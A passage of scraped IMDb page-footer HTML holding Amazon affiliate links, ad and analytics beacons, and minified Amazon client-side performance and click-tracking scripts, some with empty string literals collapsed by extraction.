href="/offsite/?page-action=ft-amzn-de&amp;token=BCYhjWMVnfXqwSDfylR6y-6rjLy5m7XqTswUfFXjIFMeInJWzLf0Xk6An50GsBbufUycacvh1CQh%0D%0A2jZEn9D2bRFLTYQiqDQZxvlO0zghQr-CH4LYE5o32kP04VfztzYj556uxLNWGueLM-hmwjkWNDQF%0D%0A4jFPDLuXDychnZ-w2GyTUHZC16CEwvALLJuPjqeHY9m1QjnHklRud5bvu5UF4VY0uA2kjNoBmWdG%0D%0AxhleaDNnQq4%0D%0A" class="amazon-affiliate-site-link"> <span class="amazon-affiliate-site-name">Amazon Germany</span><br> <span class="amazon-affiliate-site-desc">Buy Movies on<br>DVD &amp; Blu-ray</span> </a> </div> </td> <td> <div> <a href="/offsite/?page-action=ft-amzn-it&amp;token=BCYv_fo7NfsiF85ZyigrwHNlof8YXvYvbmo92HQmr_yIKHYMjzjXU1ZI0ivDTK4KQCmnjMtarrva%0D%0AdtmKJsQ1Ux6DT188eqO4C3JHaNv1Vvncd5DT1PtF58vJeFazio79TxPmr5Gq6Y1HpCe1gR3KK4vV%0D%0A6sadi7uAbxWMQwCkgh11gHuL7EGgrfYwljZJjRuiWkapO5EHC3D8zjkJ3OS2kyk4AdYtmDjrI019%0D%0AA3EN0b6cI6Y%0D%0A" class="amazon-affiliate-site-link"> <span class="amazon-affiliate-site-name">Amazon Italy</span><br> <span class="amazon-affiliate-site-desc">Buy Movies on<br>DVD &amp; Blu-ray</span> </a> </div> </td> <td> <div> <a href="/offsite/?page-action=ft-amzn-fr&amp;token=BCYjubYpM-90ZulGh8G52qv-kSgJVsMxJ1WhK3bn8eucB7VtEV8DjELs7wITnzA2cSvQdj4-wxKH%0D%0AgMPtWDYz9-44RBc3yLVQ_bJaDYzOzJ-oXCKO1ZNbQhZziw5xu7PnNOxN3zjvTyxI2SOJZLIriaBR%0D%0AF8zL8IPXA_f-LMNn3e9H5T-BfCns1Dh29aCNzfB4sROnsBDwWIugu1T9RqC7SOJu0H6j3lgZat6B%0D%0AeEa13Jp-Rn8%0D%0A" class="amazon-affiliate-site-link"> <span class="amazon-affiliate-site-name">Amazon France</span><br> <span class="amazon-affiliate-site-desc">Buy Movies on<br>DVD &amp; Blu-ray</span> </a> </div> </td> <td> <div> <a href="/offsite/?page-action=ft-amzn-in&amp;token=BCYoIQ87WhNCKjDp3BWDkv2ao3g_B7kt4oIvHDZexrWk5EPFmXtLhoZFcnpuWBLDDig0v_VWK1KE%0D%0AawBUo0xFdiAEgK9MfPYIviaVOJqUwnUKWrlGlgPAm9OzgNYytJIqLlVQ3BCZQxC-cEJhxG6APOXe%0D%0A9j6h9KAgzXPXCbjpbmKa1XheUcHB-fu_8tO4BxwM3wbVy68LLAMTJAQDPZ8Dr7n3x3UzStOaz0CL%0D%0Aw_EnuQ2oAZ3q_1YgiXrMR_sUighmp_1Q%0D%0A" class="amazon-affiliate-site-link"> <span class="amazon-affiliate-site-name">Amazon India</span><br> <span class="amazon-affiliate-site-desc">Buy Movie and<br>TV Show DVDs</span> </a> </div> </td> <td> <div> <a href="/offsite/?page-action=ft-amzn-dpr&amp;token=BCYqUTzCf0sDgK4yi_b2qP1rNs0TA2T-X6jLn6jxpF-r-MbjbQ7Pn8vrkfunwX-B3WqFGIll9tgp%0D%0Ah7p5f14QYLKanO1DpZleGL-B337nyPTS5owjVlf828RVA2uh3OwCBi2Li0IHGD0mGfUtctPb7Ppx%0D%0Az6S04qrEejh841wHslyPwaE%0D%0A" class="amazon-affiliate-site-link"> <span class="amazon-affiliate-site-name">DPReview</span><br> <span class="amazon-affiliate-site-desc">Digital<br>Photography</span> </a> </div> </td> <td> <div> <a href="/offsite/?page-action=ft-amzn-aud&amp;token=BCYmqgk5sBKxARyH9S0i_GHl5mvgVxFS2JvZDjp7kS6icmA9SFmV-1NLgGZ73E7B_xthNlY2TW7W%0D%0AQYz7pMxGITsudK2r753UJDbUrkKu5rSNowT60lqR6Ri373qh6ctnYhypNos-qIZqR3y9_vVWwnon%0D%0A9zg_MQ1mNq9K590sETWddhE%0D%0A" class="amazon-affiliate-site-link"> <span class="amazon-affiliate-site-name">Audible</span><br> <span class="amazon-affiliate-site-desc">Download<br>Audio Books</span> </a> </div> </td> </tr> </tbody></table> </div> <script type="text/javascript"> try { window.lumierePlayer = window.lumierePlayer || {}; window.lumierePlayer.weblab = JSON.parse(\'{"IMDB_VIDEO_PLAYER_161908":"T1","IMDB_VIDEO_PLAYER_162496":"C"}\'); } catch (error) { if (window.ueLogError) { window.ueLogError(error, { logLevel: "WARN", attribution: "videoplayer", message: "Failed to parse weblabs for video player." }); } } </script> </div> </div> <script type="text/javascript"> window.IMDbReactInitialState=window.IMDbReactInitialState||[]; window.IMDbReactInitialState.push({\'user\': {\'id\': \'ur52650536\'}}); </script> <script type="text/javascript" src="https://m.media-amazon.com/images/G/01/imdb/js/collections/common-3169276230._CB502264109_.js"></script> <script type="text/javascript" src="https://m.media-amazon.com/images/G/01/imdb/js/collections/title-695245686._CB470121076_.js"></script><div id="photo-container"><noscript data-reactid=".0"></noscript></div> <script type="text/javascript" src="https://m.media-amazon.com/images/G/01/imdb/js/collections/subset-trending-widget-3451865516._CB470042236_.js"></script> <script type="text/javascript" id="login"> (function(){ var readyTimeout = setInterval(function() { if (window.jQuery && window.imdb && window.imdb.login_lightbox) { clearTimeout(readyTimeout); window.imdb.login_lightbox(); } }, 100); })(); </script> <!-- begin ads footer --> <!-- begin comscore beacon --> <script type="text/javascript" src="https://ia.media-imdb.com/images/G/01/imdbads/js/beacon-1792157672._CB470343349_.js"></script> <script type="text/javascript"> if(window.COMSCORE){ COMSCORE.beacon({ c1: 2, c2:"6034961", c3:", c4:"https://www.imdb.com/title/tt3823392/?ref_=rvi_tt", c5:", c6:", c15:" }); } </script> <noscript> <img src="https://sb.scorecardresearch.com/p?c1=2&c2=6034961&c3=&c4=https%3A%2F%2Fwww.imdb.com%2Ftitle%2Ftt3823392%2F%3Fref_%3Drvi_tt&c5=c6=&15=&cj=1"/> </noscript> <!-- end comscore beacon --> <script> doWithAds(function(){ (new Image()).src = "https://www.amazon.com/aan/2009-05-01/imdb/default?slot=sitewide-iframe&u=543166563184&ord=543166563184"; },"unable to request AAN pixel"); </script> <!-- end ads footer --> <div id="servertime" time="857"> <script> if (typeof uet == \'function\') { uet("be"); } </script> <div id="be" style="display:none;visibility:hidden;"><form name="ue_backdetect" action="get"><input type="hidden" name="ue_back" value="2"></form> <script type="text/javascript"> window.ue_ibe = (window.ue_ibe || 0) + 1; if (window.ue_ibe === 1) { var ue_mbl=ue_csm.ue.exec(function(e,a){function l(f){b=f||{};a.AMZNPerformance=b;b.transition=b.transition||{};b.timing=b.timing||{};e.ue.exec(m,"csm-android-check")()&&b.tags instanceof Array&&(f=-1!=b.tags.indexOf("usesAppStartTime")||b.transition.type?!b.transition.type&&-1<b.tags.indexOf("usesAppStartTime")?"warm-start":void 0:"view-transition",f&&(b.transition.type=f));"reload"===c._nt&&e.ue_orct||"intrapage-transition"===c._nt?a.performance&&performance.timing&&performance.timing.navigationStart? b.timing.transitionStart=a.performance.timing.navigationStart:delete b.timing.transitionStart:"undefined"===typeof c._nt&&a.performance&&performance.timing&&performance.timing.navigationStart&&a.history&&"function"===typeof a.History&&"object"===typeof a.history&&history.length&&1!=history.length&&(b.timing.transitionStart=a.performance.timing.navigationStart);f=b.transition;var d;d=c._nt?c._nt:void 0;f.subType=d;a.ue&&a.ue.tag&&a.ue.tag("has-AMZNPerformance");c.isl&&a.uex&&uex("at","csm-timing"); n()}function p(b){a.ue&&a.ue.count&&a.ue.count("csm-cordova-plugin-failed",1)}function m(){return a.webclient&&"function"===typeof a.webclient.getRealClickTime?a.cordova&&a.cordova.platformId&&"ios"==a.cordova.platformId?!1:!0:!1}function n(){try{P.register("AMZNPerformance",function(){return b})}catch(a){}}function h(){if(!b)return";ue_mbl.cnt=null;for(var a=b.timing,d=b.transition,a=["mts",k(a.transitionStart),"mps",k(a.processStart),"mtt",d.type,"mtst",d.subType,"mtlt",d.launchType],d=",c=0;c< a.length;c+=2){var e=a[c],g=a[c+1];"undefined"!==typeof g&&(d+="&"+e+"="+g)}return d}function k(a){if("undefined"!==typeof a&&"undefined"!==typeof g)return a-g}function q(a,c){b&&(g=c,b.timing.transitionStart=a,b.transition.type="view-transition",b.transition.subType="ajax-transition",b.transition.launchType="normal",ue_mbl.cnt=h)}var c=e.ue||{},g=e.ue_t0,b;if(a.P&&a.P.when&&a.P.register)return a.P.when("CSMPlugin").execute(function(a){a.buildAMZNPerformance&&a.buildAMZNPerformance({successCallback:l, failCallback:p})}),{cnt:h,ajax:q}},"mobile-timing")(ue_csm,window); (function(d){d._uess=function(){var a=";screen&&screen.width&&screen.height&&(a+="&sw="+screen.width+"&sh="+screen.height);var b=function(a){var b=document.documentElement["client"+a];return"CSS1Compat"===document.compatMode&&b||document.body["client"+a]||b},c=b("Width"),b=b("Height");c&&b&&(a+="&vw="+c+"&vh="+b);return a}})(ue_csm); (function(a){var b=document.ue_backdetect;b&&b.ue_back&&a.ue&&(a.ue.bfini=b.ue_back.value);a.uet&&a.uet("be");a.onLdEnd&&(window.addEventListener?window.addEventListener("load",a.onLdEnd,!1):window.attachEvent&&window.attachEvent("onload",a.onLdEnd));a.ueh&&a.ueh(0,window,"load",a.onLd,1);a.ue&&a.ue.tag&&(a.ue_furl&&a.ue_furl.split?(b=a.ue_furl.split("."))&&b[0]&&a.ue.tag(b[0]):a.ue.tag("nofls"))})(ue_csm); (function(g,h){function d(a,d){var b={};if(!e||!f)try{var c=h.sessionStorage;c?a&&("undefined"!==typeof d?c.setItem(a,d):b.val=c.getItem(a)):f=1}catch(g){e=1}e&&(b.e=1);return b}var b=g.ue||{},a=",f,e,c,a=d("csmtid");f?a="NA":a.e?a="ET":(a=a.val,a||(a=b.oid||"NI",d("csmtid",a)),c=d(b.oid),c.e||(c.val=c.val||0,d(b.oid,c.val+1)),b.ssw=d);b.tabid=a})(ue_csm,window); ue_csm.ue.exec(function(e,f){var a=e.ue||{},b=a._wlo,d;if(a.ssw){d=a.ssw("CSM_previousURL").val;var c=f.location,b=b?b:c&&c.href?c.href.split("#")[0]:void 0;c=(b||")===a.ssw("CSM_previousURL").val;!c&&b&&a.ssw("CSM_previousURL",b);d=c?"reload":d?"intrapage-transition":"first-view"}else d="unknown";a._nt=d},"NavTypeModule")(ue_csm,window); ue_csm.ue.exec(function(c,a){function g(a){a.run(function(e){d.tag("csm-feature-"+a.name+":"+e);d.isl&&c.uex("at")})}if(a.addEventListener)for(var d=c.ue||{},f=[{name:"touch-enabled",run:function(b){var e=function(){a.removeEventListener("touchstart",c,!0);a.removeEventListener("mousemove",d,!0)},c=function(){b("true");e()},d=function(){b("false");e()};a.addEventListener("touchstart",c,!0);a.addEventListener("mousemove",d,!0)}}],b=0;b<f.length;b++)g(f[b])},"csm-features")(ue_csm,window); (function(b,c){var a=c.images;a&&a.length&&b.ue.count("totalImages",a.length)})(ue_csm,document); (function(b){function c(){var d=[];a.log&&a.log.isStub&&a.log.replay(function(a){e(d,a)});a.clog&&a.clog.isStub&&a.clog.replay(function(a){e(d,a)});d.length&&(a._flhs+=1,n(d),p(d))}function g(){a.log&&a.log.isStub&&(a.onflush&&a.onflush.replay&&a.onflush.replay(function(a){a[0]()}),a.onunload&&a.onunload.replay&&a.onunload.replay(function(a){a[0]()}),c())}function e(d,b){var c=b[1],f=b[0],e={};a._lpn[c]=(a._lpn[c]||0)+1;e[c]=f;d.push(e)}function n(b){q&&(a._lpn.csm=(a._lpn.csm||0)+1,b.push({csm:{k:"chk", f:a._flhs,l:a._lpn,s:"inln"}}))}function p(a){if(h)a=k(a),b.navigator.sendBeacon(l,a);else{a=k(a);var c=new b[f];c.open("POST",l,!0);c.setRequestHeader&&c.setRequestHeader("Content-type","text/plain");c.send(a)}}function k(a){return JSON.stringify({rid:b.ue_id,sid:b.ue_sid,mid:b.ue_mid,mkt:b.ue_mkt,sn:b.ue_sn,reqs:a})}var f="XMLHttpRequest",q=1===b.ue_ddq,a=b.ue,r=b[f]&&"withCredentials"in new b[f],h=b.navigator&&b.navigator.sendBeacon,l="//"+b.ue_furl+"/1/batch/1/OE/",m=b.ue_fci_ft||5E3;a&&(r||h)&& (a._flhs=a._flhs||0,a._lpn=a._lpn||{},a.attach&&(a.attach("beforeunload",g),a.attach("pagehide",g)),m&&b.setTimeout(c,m),a._ffci=c)})(window); ue_csm.ue._rtn = 1; (function(e,f){function h(a){a=a.split("?")[0]||a;a=a.replace("http://",").replace("https://",").replace("resource://",").replace("res://",").replace("undefined://",").replace("chrome://",").replace(/\\*/g,").replace(/!/g,").replace(/~/g,");var b=a.split("/");a=a.substr(a.lastIndexOf("/")+1);b.splice(-1);b=b.map(function(a){c[a]||(c[a]=(k++).toString(36));return c[a]});b.push(a);return b.join("!")}function l(){return f.getEntriesByType("resource").filter(function(a){return d._rre(a)<d._ld}).sort(function(a, b){return a.responseEnd-b.responseEnd}).splice(0,m).map(function(a){var b=[],c;for(c in a)g[c]&&a[c]&&b.push(g[c]+Math.max(a[c]|0,-1).toString(36));b.push("i"+a.initiatorType);(1==d._rtn&&d._afjs>n||2==d._rtn)&&b.push("n"+h(a.name));return b.join("_")}).join("*")}function p(){var a="pm",b;for(b in c)c.hasOwnProperty(b)&&(a+="*"+c[b]+"_"+b);return a}function q(){d.log({k:"rtiming",value:l()+"~"+p()},"csm")}if(f&&f.getEntriesByType&&Array.prototype.map&&Array.prototype.filter&&e.ue&&e.ue.log){var g= {connectStart:"c",connectEnd:"C",domainLookupStart:"d",domainLookupEnd:"D",duration:"z",encodedBodySize:"e",decodedBodySize:"E",fetchStart:"f",redirectStart:"r",redirectEnd:"R",requestStart:"q",responseStart:"s",responseEnd:"S",startTime:"a",transferSize:"t"},d=e.ue,c={},k=1,n=20,m=200;d&&d._rre&&(d._art=function(){d._ld&&window.setTimeout(q,0)})}})(ue_csm||{},window.performance); (function(c,d){var b=c.ue,a=d.navigator;b&&b.tag&&a&&(a=a.connection||a.mozConnection||a.webkitConnection)&&a.type&&b.tag("netInfo:"+a.type)})(ue_csm,window); (function(c,d){function h(a,b){for(var c=[],d=0;d<a.length;d++){var e=a[d],f=b.encode(e);if(e[k]){var g=b.metaSep,e=e[k],l=b.metaPairSep,h=[],m=void 0;for(m in e)e.hasOwnProperty(m)&&h.push(m+"="+e[m]);e=h.join(l);f+=g+e}c.push(f)}return c.join(b.resourceSep)}function s(a){var b=a[k]=a[k]||{};b[t]||(b[t]=c.ue_mid);b[u]||(b[u]=c.ue_sid);b[f]||(b[f]=c.ue_id);b.csm=1;a="//"+c.ue_furl+"/1/"+a[v]+"/1/OP/"+a[w]+"/"+a[x]+"/"+h([a],y);if(n)try{n.call(d[p],a)}catch(g){c.ue.sbf=1,(new Image).src=a}else(new Image).src= a}function q(){g&&g.isStub&&g.replay(function(a,b,c){a=a[0];b=a[k]=a[k]||{};b[f]=b[f]||c;s(a)});l.impression=s;g=null}if(!(1<c.ueinit)){var k="metadata",x="impressionType",v="foresterChannel",w="programGroup",t="marketplaceId",u="session",f="requestId",p="navigator",l=c.ue||{},n=d[p]&&d[p].sendBeacon,r=function(a,b,c,d){return{encode:d,resourceSep:a,metaSep:b,metaPairSep:c}},y=r(","?","&",function(a){return h(a.impressionData,z)}),z=r("/",":",",",function(a){return a.featureName+":"+h(a.resources, A)}),A=r(",","@","|",function(a){return a.id}),g=l.impression;n?q():(l.attach("load",q),l.attach("beforeunload",q));try{d.P&&d.P.register&&d.P.register("impression-client",function(){})}catch(B){c.ueLogError(B,{logLevel:"WARN"})}}})(ue_csm,window); var ue_pti = "tt3823392"; var ue_adb = 4; var ue_adb_rtla = 1; ue_csm.ue.exec(function(w,a){function q(){if(d&&f){var a;a:{try{a=d.getItem(g);break a}catch(c){}a=void 0}if(a)return b=a,!0}return!1}function r(){b=h;k();if(f)try{d.setItem(g,b)}catch(a){}}function s(){b=1===a.ue_adb_chk?l:h;k();if(f)try{d.setItem(g,b)}catch(c){}}function m(){a.ue_adb_rtla&&c&&0<c.ec&&!1===n&&(c.elh=null,ueLogError({m:"Hit Info",fromOnError:1},{logLevel:"INFO",adb:b}),n=!0)}function k(){e.tag(b);e.isl&&a.uex&&uex("at",b);p&&p.updateCsmHit("adb",b);c&&0<c.ec?m():a.ue_adb_rtla&&c&& (c.elh=m)}function t(){return b}if(a.ue_adb){a.ue_fadb=a.ue_fadb||10;var e=a.ue,h="adblk_yes",l="adblk_no",b="adblk_unk",d;a:{try{d=a.localStorage;break a}catch(x){}d=void 0}var g="csm:adb",c=a.ue_err,p=e.cookie,f=void 0!==a.localStorage,u=Math.random()>1-1/a.ue_fadb,n=!1,v=q();u||!v?e.uels("https://m.media-amazon.com/images/G/01/csm/showads.v2.js",{onerror:r,onload:s}):k();a.ue_isAdb=t;a.ue_isAdb.unk="adblk_unk";a.ue_isAdb.no=l;a.ue_isAdb.yes=h}},"adb")(document,window); (function(d,l,g){function m(a){if(a)try{if(a.id)return"//*[@id=\'"+a.id+"\']";var b,e=1,c;for(c=a.previousSibling;c;c=c.previousSibling)c.nodeName===a.nodeName&&(e+=1);b=e;var f=a.nodeName;1!==b&&(f+="["+b+"]");a.parentNode&&(f=m(a.parentNode)+"/"+f);return f}catch(d){return"DETACHED"}}function h(a){if(a&&a.getAttribute)return a.getAttribute(n)?a.getAttribute(n):h(a.parentElement)}var p=d.ue||{},n="data-cel-widget",k=!1,c=[];p.isBF=function(){var a=l.performance||l.webkitPerformance,b=g.ue_backdetect&& g.ue_backdetect.ue_back&&g.ue_backdetect.ue_back.value,c=p.bfini;return a&&a.navigation&&2===a.navigation.type||1<c||!c&&1<b}();d.ue_utils={getXPath:m,getFirstAscendingWidget:function(a,b){d.ue_cel&&d.ue_fem?!0===k?b(h(a)):c.push({element:a,callback:b}):b()},notifyWidgetsLabeled:function(){if(!1===k){k=!0;for(var a=h,b=0;b<c.length;b++)if(c[b].hasOwnProperty("callback")&&c[b].hasOwnProperty("element")){var e=c[b].callback,d=c[b].element;"function"===typeof e&&"function"===typeof a&&e(a(d))}c=null}}}})(ue_csm, window,document); (function(a,e){a.ue_cel||(a.ue_cel=function(){function f(a,b){b?b.r=z:b={r:z,c:1};!ue_csm.ue_sclog&&b.clog&&g.clog?g.clog(a,b.ns||d,b):b.glog&&g.glog?g.glog(a,b.ns||d,b):g.log(a,b.ns||d,b)}function h(){var a=b.length;if(0<a){for(var e=[],c=0;c<a;c++){var l=b[c].api;l.ready()?(l.on({ts:g.d,ns:d}),k.push(b[c]),f({k:"mso",n:b[c].name,t:g.d()})):e.push(b[c])}b=e}}function c(){if(!c.executed){for(var a=0;a<k.length;a++)k[a].api.off&&k[a].api.off({ts:g.d,ns:d});u();f({k:"eod",t0:g.t0,t:g.d()},{c:1,il:1}); c.executed=1;for(a=0;a<k.length;a++)b.push(k[a]);k=[];clearTimeout(v);clearTimeout(q)}}function u(a){f({k:"hrt",t:g.d()},{c:1,il:1,n:a});s=Math.min(r,w*s);y()}function y(){clearTimeout(q);q=setTimeout(function(){u(!0)},s)}function t(){c.executed||u()}var w=1.5,r=e.ue_cel_max_hrt||3E4,b=[],k=[],d=a.ue_cel_ns||"cel",v,q,g=a.ue,l=a.uet,n=a.uex,z=g.rid,s=e.ue_cel_hrt_int||3E3,m=e.requestAnimationFrame||function(a){a()};if(g.isBF)f({k:"bft",t:g.d()});else{"function"==typeof l&&l("bb","csmCELLSframework", {wb:1});setTimeout(h,0);g.onunload(c);if(g.onflush)g.onflush(t);v=setTimeout(c,6E5);y();"function"==typeof n&&n("ld","csmCELLSframework",{wb:1});return{registerModule:function(a,c){b.push({name:a,api:c});f({k:"mrg",n:a,t:g.d()});h()},reset:function(a){f({k:"rst",t0:g.t0,t:g.d()});b=b.concat(k);k=[];for(var e=b.length,d=0;d<e;d++)b[d].api.off(),b[d].api.reset();z=a||g.rid;h();clearTimeout(v);v=setTimeout(c,6E5);c.executed=0},timeout:function(a,b){return e.setTimeout(function(){m(function(){c.executed|| a()})},b)},log:f,off:c}}}())})(ue_csm,window); (function(a,e,f){a.ue_pdm||!a.ue_cel||ue.isBF||(a.ue_pdm=function(){function h(){if(d){var b={w:d.width,aw:d.availWidth,h:d.height,ah:d.availHeight,cd:d.colorDepth,pd:d.pixelDepth};l&&l.w===b.w&&l.h===b.h&&l.aw===b.aw&&l.ah===b.ah&&l.pd===b.pd&&l.cd===b.cd||(l=b,l.t=q(),l.k="sci",x(l))}var b=f.body||{},c=f.documentElement||{},b={w:Math.max(b.scrollWidth||0,b.offsetWidth||0,c.clientWidth||0,c.scrollWidth||0,c.offsetWidth||0),h:Math.max(b.scrollHeight||0,b.offsetHeight||0,c.clientHeight||0,c.scrollHeight|| 0,c.offsetHeight||0)};n&&n.w===b.w&&n.h===b.h||(n=b,n.t=q(),n.k="doi",x(n));v=a.ue_cel.timeout(h,g);s+=1}function c(){r("ebl","default",!1)}function u(){r("efo","default",!0)}function y(){r("ebl","app",!1)}function t(){r("efo","app",!0)}function w(){e.setTimeout(function(){f[B]?r("ebl","pageviz",!1):r("efo","pageviz",!0)},0)}function r(a,b,c){z!==c&&x({k:a,t:q(),s:b},{ff:!0===c?0:1});z=c}function b(){m.attach&&(p&&m.attach(C,w,f),D&&P.when("mash").execute(function(a){a&&a.addEventListener&&(a.addEventListener("appPause", y),a.addEventListener("appResume",t))}),m.attach("blur",c,e),m.attach("focus",u,e))}function k(){m.detach&&(p&&m.detach(C,w,f),D&&P.when("mash").execute(function(a){a&&a.removeEventListener&&(a.removeEventListener("appPause",y),a.removeEventListener("appResume",t))}),m.detach("blur",c,e),m.detach("focus",u,e))}var d,v,q,g,l,n,z=null,s=0,m=a.ue,x=a.ue_cel.log,E=a.uet,A=a.uex,p=!!m.pageViz,C=p&&m.pageViz.event,B=p&&m.pageViz.propHid,D=e.P&&e.P.when;"function"==typeof E&&E("bb","csmCELLSpdm",{wb:1}); return{on:function(a){g=a.timespan||500;q=a.ts;d=e.screen;b();a=e.location;x({k:"pmd",o:a.origin,p:a.pathname,t:q()});h();"function"==typeof A&&A("ld","csmCELLSpdm",{wb:1})},off:function(a){clearTimeout(v);k();m.count&&m.count("cel.PDM.TotalExecutions",s)},ready:function(){return f.body&&a.ue_cel&&a.ue_cel.log},reset:function(){l=n=null}}}(),a.ue_cel&&a.ue_cel.registerModule("page module",a.ue_pdm))})(ue_csm,window,document); (function(a,e){a.ue_vpm||!a.ue_cel||ue.isBF||(a.ue_vpm=function(){function f(){var a=t(),b={w:e.innerWidth,h:e.innerHeight,x:e.pageXOffset,y:e.pageYOffset};c&&c.w==b.w&&c.h==b.h&&c.x==b.x&&c.y==b.y||(b.t=a,b.k="vpi",c=b,k(c,{clog:1}));u=0;w=t()-a;r+=1}function h(){u||(u=a.ue_cel.timeout(f,y))}var c,u,y,t,w=0,r=0,b=a.ue,k=a.ue_cel.log,d=a.uet,v=a.uex,q=b.attach,g=b.detach;"function"==typeof d&&d("bb","csmCELLSvpm",{wb:1});return{on:function(a){t=a.ts;y=a.timespan||100;f();q&&(q("scroll",h),q("resize", h));"function"==typeof v&&v("ld","csmCELLSvpm",{wb:1})},off:function(a){clearTimeout(u);g&&(g("scroll",h),g("resize",h));b.count&&(b.count("cel.VPI.TotalExecutions",r),b.count("cel.VPI.TotalExecutionTime",w),b.count("cel.VPI.AverageExecutionTime",w/r))},ready:function(){return a.ue_cel&&a.ue_cel.log},reset:function(){c=void 0},getVpi:function(){return c}}}(),a.ue_cel&&a.ue_cel.registerModule("viewport module",a.ue_vpm))})(ue_csm,window); (function(a,e,f){if(!a.ue_fem&&a.ue_cel&&a.ue_utils){var h=a.ue||{};!h.isBF&&!a.ue_fem&&f.querySelector&&e.getComputedStyle&&[].forEach&&(a.ue_fem=function(){function c(a,b){return a>b?3>a-b:3>b-a}function u(a,b){var d=e.pageXOffset,g=e.pageYOffset,f;a:{try{if(a){var k=a.getBoundingClientRect(),m,h=0===a.offsetWidth&&0===a.offsetHeight;c:{for(var l=a.parentNode,v=k.left||0,p=k.top||0,r=k.width||0,s=k.height||0;l&&l!==document.body;){var n;d:{try{if(l){var q=l.getBoundingClientRect();n={x:q.left|| 0,y:q.top||0,w:q.width||0,h:q.height||0}}else n=void 0;break d}catch(u){}n=void 0}var F=window.getComputedStyle(l),t="hidden"===F.overflow,w=t||"hidden"===F.overflowX,x=t||"hidden"===F.overflowY,y=p+s-1<n.y+1||p+1>n.y+n.h-1;if((v+r-1<n.x+1||v+1>n.x+n.w-1)&&w||y&&x){m=!0;break c}l=l.parentNode}m=!1}f={x:k.left+d||0,y:k.top+g||0,w:k.width||0,h:k.height||0,d:(h||m)|0}}else f=void 0;break a}catch(N){}f=void 0}if(f&&!a.cel_b)a.cel_b=f,A({n:a.getAttribute(z),w:a.cel_b.w,h:a.cel_b.h,d:a.cel_b.d,x:a.cel_b.x, y:a.cel_b.y,t:b,k:"ewi",cl:a.className},{clog:1});else{if(d=f)d=a.cel_b,g=f,d=g.d===d.d&&1===g.d?!1:!(c(d.x,g.x)&&c(d.y,g.y)&&c(d.w,g.w)&&c(d.h,g.h)&&d.d===g.d);d&&(a.cel_b=f,A({n:a.getAttribute(z),w:a.cel_b.w,h:a.cel_b.h,d:a.cel_b.d,x:a.cel_b.x,y:a.cel_b.y,t:b,k:"ewi"},{clog:1}))}}function y(b,d){var c;c=b.c?f.getElementsByClassName(b.c):b.id?[f.getElementById(b.id)]:f.querySelectorAll(b.s);b.w=[];for(var g=0;g<c.length;g++){var e=c[g];if(e){if(!e.getAttribute(z)){var k=e.getAttribute("cel_widget_id")|| (b.id_gen||E)(e,g)||e.id;e.setAttribute(z,k)}b.w.push(e);r(O,e,d)}}!1===x&&(m++,m===s.length&&(x=!0,a.ue_utils.notifyWidgetsLabeled()))}function t(a,b){p.contains(a)||A({n:a.getAttribute(z),t:b,k:"ewd"},{clog:1})}function w(a){I.length&&ue_cel.timeout(function(){if(l){for(var b=Q(),c=!1;Q()-b<g&&!c;){for(c=R;0<c--&&0<I.length;){var d=I.shift();S[d.type](d.elem,d.time)}c=0===I.length}T++;w(a)}},0)}function r(a,b,c){I.push({type:a,elem:b,time:c})}function b(a,b){for(var c=0;c<s.length;c++)for(var d= s[c].w||[],e=0;e<d.length;e++)r(a,d[e],b)}function k(){J||(J=a.ue_cel.timeout(function(){J=null;var c=n();b(W,c);for(var d=0;d<s.length;d++)r(X,s[d],c);0===s.length&&!1===x&&(x=!0,a.ue_utils.notifyWidgetsLabeled());w(c)},q))}function d(){J||M||(M=a.ue_cel.timeout(function(){M=null;var a=n();b(O,a);w(a)},q))}function v(){return B&&D&&p&&p.contains&&p.getBoundingClientRect&&n}var q=50,g=4.5,l=!1,n,z="data-cel-widget",s=[],m=0,x=!1,E=function(){},A=a.ue_cel.log,p,C,B,D,G=e.MutationObserver||e.WebKitMutationObserver|| e.MozMutationObserver,N=!!G,H,F,U="DOMAttrModified",K="DOMNodeInserted",L="DOMNodeRemoved",M,J,I=[],T=0,R=null,W="removedWidget",X="updateWidgets",O="processWidget",S,V=e.performance||{},Q=V.now&&function(){return V.now()}||function(){return Date.now()};"function"==typeof uet&&uet("bb","csmCELLSfem",{wb:1});return{on:function(b){function c(){if(v()){S={removedWidget:t,updateWidgets:y,processWidget:u};if(N){var a={attributes:!0,subtree:!0};H=new G(d);F=new G(k);H.observe(p,a);F.observe(p,{childList:!0, subtree:!0});F.observe(C,a)}else B.call(p,U,d),B.call(p,K,k),B.call(p,L,k),B.call(C,K,d),B.call(C,L,d);k()}}p=f.body;C=f.head;B=p.addEventListener;D=p.removeEventListener;n=b.ts;s=a.cel_widgets||[];R=b.bs||5;h.deffered?c():h.attach&&h.attach("load",c);"function"==typeof uex&&uex("ld","csmCELLSfem",{wb:1});l=!0},off:function(){v()&&(F&&(F.disconnect(),F=null),H&&(H.disconnect(),H=null),D.call(p,U,d),D.call(p,K,k),D.call(p,L,k),D.call(C,K,d),D.call(C,L,d));h.count&&h.count("cel.widgets.batchesProcessed", T);l=!1},ready:function(){return a.ue_cel&&a.ue_cel.log},reset:function(){s=a.cel_widgets||[]}}}(),a.ue_cel&&a.ue_fem&&a.ue_cel.registerModule("features module",a.ue_fem))}})(ue_csm,window,document); (function(a,e,f){!a.ue_mcm&&a.ue_cel&&a.ue_utils&&!a.ue.isBF&&(a.ue_mcm=function(){function h(b,c){var d=b.srcElement||b.target||{},h={k:u,w:(c||{}).ow||(e.body||{}).scrollWidth,h:(c||{}).oh||(e.body||{}).scrollHeight,t:(c||{}).ots||y(),x:b.pageX,y:b.pageY,p:r(d),n:d.nodeName};a.ue_cdt&&f&&"function"===typeof f.now&&b.timeStamp&&(h.dt=(c||{}).odt||f.now()-b.timeStamp,h.dt=parseFloat(h.dt.toFixed(2)));b.button&&(h.b=b.button);d.href&&(h.r=d.href);d.id&&(h.i=d.id);d.className&&d.className.split&&(h.c= d.className.split(/\\s+/));w(h,{c:1})}function c(){switch(a.ue_mcimp){case 1:return"click";case 3:return"mousedown"}}var u="mcm",y,t=a.ue,w=a.ue_cel.log,r=a.ue_utils.getXPath;return{on:function(b){y=b.ts;a.ue_cel_stub&&a.ue_cel_stub.replayModule(u,h);(event=c())?window.addEventListener&&window.addEventListener(event,h,!0):t.attach&&t.attach("click",h,e)},off:function(a){(event=c())?window.removeEventListener&&window.removeEventListener(event,h,!0):t.detach&&t.detach("click",h,e)},ready:function(){return a.ue_cel&& a.ue_cel.log},reset:function(){}}}(),a.ue_cel&&a.ue_cel.registerModule("mouse click module",a.ue_mcm))})(ue_csm,document,window.performance); 